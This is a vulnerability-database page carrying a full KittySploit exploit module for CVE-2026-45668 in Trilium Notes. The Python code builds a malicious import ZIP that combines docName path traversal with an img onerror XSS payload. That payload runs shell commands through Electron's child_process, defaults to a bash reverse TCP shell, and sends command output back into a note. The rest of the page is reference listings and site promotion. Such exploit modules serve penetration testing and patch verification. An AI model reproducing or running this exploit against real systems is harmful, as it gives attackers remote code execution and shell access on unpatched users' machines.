Lucene search
+L

Trilium Notes Safe Import RCE (CVE-2026-45668)

🗓️ 08 Aug 2026 16:40:44Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Path traversal and XSS in Trilium Notes safe-import leads to Electron RCE.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-45668
29 May 202617:18
–attackerkb
circl
Circl
CVE-2026-45668
29 May 202620:58
–circl
cnnvd
CNNVD
Trilium Notes 安全漏洞
29 May 202600:00
–cnnvd
cve
CVE
CVE-2026-45668
29 May 202617:18
–cve
cvelist
Cvelist
CVE-2026-45668 Trilium Notes : Note Import to RCE via #docName Path Traversal (Safe Import Enabled)
29 May 202617:18
–cvelist
euvd
EUVD
EUVD-2026-33376
29 May 202617:18
–euvd
kittysploit
KittySploit
Trilium Notes CVE-2026-45668 Safe Import RCE Detect
8 Aug 202616:40
–kittysploit
mend
Mend
CVE-2026-45668
29 May 202617:18
–mend
nvd
NVD
CVE-2026-45668
29 May 202618:17
–nvd
packetstorm
Packet Storm
📄 Trilium Notes 0.102.1 Remote Code Execution
31 Jul 202600:00
–packetstorm
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-45668 — Trilium Notes safe-import docName traversal to Electron RCE."""

import base64
import io
import json
import re
import secrets
import time
import zipfile

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Trilium Notes Safe Import RCE (CVE-2026-45668)",
        "description": (
            "Exploits CVE-2026-45668 in Trilium Notes (TriliumNext) <= 0.102.1: a malicious export "
            "ZIP imported with safeImport=true keeps a code-note XSS payload, a docName label with "
            "path traversal, and a '_' noteId preserved verbatim. Opening the trigger doc loads the "
            "payload via jQuery into a nodeIntegration renderer and runs the configured framework "
            "payload (reverse_tcp session by default). With set payload nopayload, falls back to "
            "verify_cmd and reads output from an exfil note over HTTP."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-45668"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-45668",
            "https://www.cve.org/CVERecord?id=CVE-2026-45668",
        ],
        "platform": Platform.MULTI,
        "arch": [Arch.X86, Arch.X64],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "trilium",
            "electron",
            "xss",
            "path-traversal",
            "import",
            "rce",
            "cve-2026-45668",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 10,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "cost": 2.0,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["trilium"],
                "endpoint_pattern_any": ["/bootstrap", "/api/notes/"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "Electron child_process.exec"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "suggested_followups": [],
            },
        },
    }

    port = OptPort(37840, "Trilium desktop HTTP API port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    verify_cmd = OptString(
        "id",
        "Command when set payload nopayload (output captured via exfil note)",
        False,
        advanced=True,
    )
    poll_seconds = OptInteger(
        20,
        "Seconds to poll the output note when using nopayload / verify_cmd",
        False,
        advanced=True,
    )

    def _payload_command(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if command:
            return command
        return str(self.verify_cmd or "id").strip() or "id"

    def _capture_command_output(self) -> bool:
        if self._is_nopayload():
            return True
        path = self._get_configured_payload_path().lower()
        return "reverse" not in path and "bind" not in path

    def _api(self, suffix: str) -> str:
        base = (self.path or "/").rstrip("/")
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base else suffix

    def _version_tuple(self, version: str):
        match = re.match(r"(\d+)\.(\d+)\.(\d+)", str(version or ""))
        if not match:
            return None
        return (int(match.group(1)), int(match.group(2)), int(match.group(3)))

    def _payload_html(self, command: str, output_note: str, capture_output: bool) -> str:
        b64 = base64.b64encode(command.encode()).decode()
        inner = f"echo {b64} | base64 -d | sh"
        if capture_output:
            rce_begin = "__RCE_BEGIN__"
            rce_end = "__RCE_END__"
            js = (
                f'var cp=require("child_process");'
                f'cp.exec("{inner}",function(e,o,r){{'
                f'var b="{rce_begin}\\n"+String(o)+String(r)+"{rce_end}";'
                f'var fd=new FormData();'
                f'fd.append("upload",new Blob([b],{{type:"text/plain"}}),"o");'
                f'fetch("/api/notes/{output_note}/file",{{method:"PUT",'
                f'headers:{{"x-csrf-token":window.glob.csrfToken}},body:fd}});'
                f"}});"
            )
        else:
            js = f'var cp=require("child_process");cp.exec("{inner}");'
        return f"<img src=x onerror='{js}'>"

    def _evil_zip(self, command: str, capture_output: bool) -> bytes:
        payload_note = "_doc_xss_payload"
        output_note = "_doc_xss_output"
        trigger_note = "_doc_xss_trigger"
        docname = f"../../../../api/notes/{payload_note}/open?x="
        meta = {
            "formatVersion": 2,
            "appVersion": "0.101.3",
            "files": [
                {
                    "dirFileName": "xss-demo",
                    "title": "xss-demo",
                    "type": "text",
                    "mime": "text/html",
                    "children": [
                        {
                            "noteId": payload_note,
                            "title": "payload",
                            "type": "code",
                            "mime": "text/plain",
                            "dataFileName": "payload.txt",
                            "attributes": [],
                        },
                        {
                            "noteId": output_note,
                            "title": "output",
                            "type": "code",
                            "mime": "text/plain",
                            "dataFileName": "output.txt",
                            "attributes": [],
                        },
                        {
                            "noteId": trigger_note,
                            "title": "doc trigger",
                            "type": "doc",
                            "mime": "",
                            "dataFileName": "trigger.txt",
                            "attributes": [
                                {
                                    "type": "label",
                                    "name": "docName",
                                    "value": docname,
                                }
                            ],
                        },
                    ],
                }
            ],
        }
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
            zf.writestr("!!!meta.json", json.dumps(meta, indent=2))
            zf.writestr("xss-demo/payload.txt", self._payload_html(command, output_note, capture_output))
            zf.writestr("xss-demo/output.txt", "PENDING")
            zf.writestr("xss-demo/trigger.txt", "")
        return buf.getvalue()

    def check(self):
        try:
            response = self.http_request(
                method="GET",
                path=self._api("/bootstrap"),
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"target unreachable: {exc.__class__.__name__}",
                "confidence": "low",
            }

        if not response or int(response.status_code or 0) != 200:
            return {
                "vulnerable": False,
                "reason": f"bootstrap unavailable (HTTP {getattr(response, 'status_code', '?')})",
                "confidence": "medium",
            }

        body, err = parse_json_response(response)
        if err or not body:
            return {
                "vulnerable": False,
                "reason": "bootstrap response is not valid JSON",
                "confidence": "medium",
            }

        csrf = body.get("csrfToken")
        version = str(body.get("triliumVersion") or "")
        if not csrf:
            return {
                "vulnerable": False,
                "reason": "no CSRF token — not a Trilium desktop API",
                "confidence": "high",
            }

        ver_t = self._version_tuple(version)
        if ver_t and ver_t >= (0, 102, 2):
            return {
                "vulnerable": False,
                "reason": f"Trilium {version} >= 0.102.2 (patched)",
                "confidence": "high",
                "csrf": csrf,
                "version": version,
            }

        reason = f"Trilium {version or 'unknown'} API reachable (< 0.102.2 or version unparseable)"
        return {
            "vulnerable": True,
            "reason": reason,
            "confidence": "high" if ver_t else "medium",
            "csrf": csrf,
            "version": version,
        }

    def run(self):
        try:
            print_status("CVE-2026-45668 — Trilium safe-import docName traversal RCE")

            result = self.check()
            if not result.get("vulnerable"):
                print_error(result.get("reason", "Target does not appear exploitable"))
                self.not_vulnerable()
                return False

            version = result.get("version") or "?"
            print_success(result.get("reason", "Target appears exploitable"))
            print_info(f"Trilium version: {version} (fixed in 0.102.2)")
            ver_t = self._version_tuple(version)
            if ver_t and ver_t >= (0, 102, 2):
                print_warning("Reported version is patched — continuing anyway")

            csrf = result.get("csrf") or ""
            command = self._payload_command()
            capture_output = self._capture_command_output()
            payload_note = "_doc_xss_payload"
            output_note = "_doc_xss_output"
            trigger_note = "_doc_xss_trigger"

            if capture_output:
                print_status(f"Building ZIP with verify command: {command}")
            else:
                print_status("Building ZIP with framework payload — waiting for session on listener")

            zip_bytes = self._evil_zip(command, capture_output)

            print_status("Importing archive with safeImport=true")
            import_resp = self.http_request(
                method="POST",
                path=self._api("/api/notes/root/notes-import"),
                data={
                    "taskId": secrets.token_hex(4),
                    "last": "true",
                    "safeImport": "true",
                    "textImportedAsText": "true",
                    "codeImportedAsCode": "true",
                    "shrinkImages": "false",
                    "explodeArchives": "true",
                    "replaceUnderscoresWithSpaces": "false",
                },
                files={"upload": ("evil.zip", zip_bytes, "application/zip")},
                headers={"x-csrf-token": csrf},
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 60),
            )
            if not import_resp or int(import_resp.status_code or 0) != 200:
                code = getattr(import_resp, "status_code", "?")
                print_error(f"Import rejected (HTTP {code})")
                self.not_vulnerable()
                return False

            print_success("Import accepted (HTTP 200)")
            time.sleep(1)

            print_status(f"Confirming payload note {payload_note}")
            payload_resp = self.http_request(
                method="GET",
                path=self._api(f"/api/notes/{payload_note}/open?x=.html"),
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )
            ptext = (payload_resp.text or "") if payload_resp else ""
            pcode = int(payload_resp.status_code or 0) if payload_resp else 0
            if pcode == 404:
                print_error(
                    f"Payload note HTTP 404 — '_' noteId remapped on import (patched >= 0.102.2)"
                )
                self.not_vulnerable()
                return False
            if pcode != 200 or "onerror" not in ptext:
                print_error("Payload note not readable with onerror handler — likely patched")
                self.not_vulnerable()
                return False

            print_success("Unsanitised payload stored with preserved noteId")

            print_status("Triggering doc renderer via clipper/open")
            self.http_request(
                method="POST",
                path=self._api("/api/clipper/open/root"),
                headers={"x-csrf-token": csrf},
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )
            time.sleep(1)
            self.http_request(
                method="POST",
                path=self._api(f"/api/clipper/open/{trigger_note}"),
                headers={"x-csrf-token": csrf},
                session=True,
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )

            if not capture_output:
                print_success("Payload triggered via doc renderer — check listener for session")
                self.vulnerable()
                return True

            print_status(f"Polling output note {output_note}")
            output = None
            deadline = time.time() + int(self.poll_seconds or 20)
            rce_begin = "__RCE_BEGIN__"
            rce_end = "__RCE_END__"
            pattern = re.compile(
                re.escape(rce_begin) + r"\n?(.*?)" + re.escape(rce_end),
                re.DOTALL,
            )
            while time.time() < deadline:
                out_resp = self.http_request(
                    method="GET",
                    path=self._api(f"/api/notes/{output_note}/open?x=.html"),
                    session=True,
                    allow_redirects=False,
                    timeout=int(self.timeout or 15),
                )
                if out_resp and int(out_resp.status_code or 0) == 200:
                    match = pattern.search(out_resp.text or "")
                    if match:
                        output = match.group(1).strip()
                        break
                time.sleep(1)

            if output is None:
                print_error(
                    f"No command output within {int(self.poll_seconds or 20)}s — "
                    "render may not have fired or target patched"
                )
                self.not_vulnerable()
                return False

            print_success(f"RCE confirmed — command '{command}' output:")
            print_info(output)
            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Aug 2026 16:40Current
5.8Medium risk
Vulners AI Score5.8
CVSS 49.3
EPSS0.00207
SSVC
3